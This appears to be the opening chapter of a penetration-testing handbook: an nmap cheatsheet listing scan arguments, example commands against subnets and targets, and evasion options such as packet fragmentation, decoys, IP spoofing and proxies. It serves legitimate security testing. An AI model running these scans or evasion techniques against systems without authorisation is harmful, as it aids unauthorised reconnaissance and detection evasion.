Chapter 1 - Cheatsheets

If you wanna know how not secure you are, just take a look around. Nothing's secure. Nothing's safe. I don't hate technology, I don't hate hackers, because that's just what comes with it, without those hackers we wouldn't solve the problems we need to solve, especially security.

— Fred Durst

It can take quite some time to remember all the nuances of commands and arguments for the various tools we must use. It's almost like learning a second language this is intended as a reference of what to use and how to use it

NMAP

Network Scan

Arguments

-sn - ping scan (disable port scan, assumes all hosts up)
-sP - ping scan (skip host discovery, only shows hosts that respond) 
-sL - scan list

Examples

Kali> nmap -sn 192.168.1.0/24
Kali> nmap -sP 192.168.1.0/24
Kali> for ip in $(cat targets.txt);do nmap -A -T4 -oN scans/nmap.$ip.txt $ip;done

Host Scan

Arguments

-p {1-65535} - ports
-6 - ipv6
-O - OS Detection
--osscan-limit - light os scan
--osscan-guess - aggressive os scan
-sV - version detection
--version-intensity {0-9} - light to aggressive
-sT - connect scan
-sU - UDP scan
-sS - stealth syn scan
-sN - tcp null scan
-A - OS detection + nmap scripts + traceroute + version
--script {script.nse} - load specific nmap script
--script-args={args} - pass arguments to script

Examples

Kali> nmap -p 1-65535 -sV -sS -T4 $TARGET
Kali> nmap -v -sS -A -T4 $TARGET
Kali> nmap -v -sV -O -sS -T4 $TARGET

Timing

Evasion

Arguments

-f [--mtu {number}] - fragment packets optionally with mtu
-D {decoy1,decoy2} - cloak with decoys
-S {ip} - spoof ip address
-g {port} - use given port number for scan
--proxies {url,url2} - use proxy through http/socks4
--data-length {number} - append random data to packets
--ip-options {options} - send packets with ip options
--ttl {number} - set ip ttl
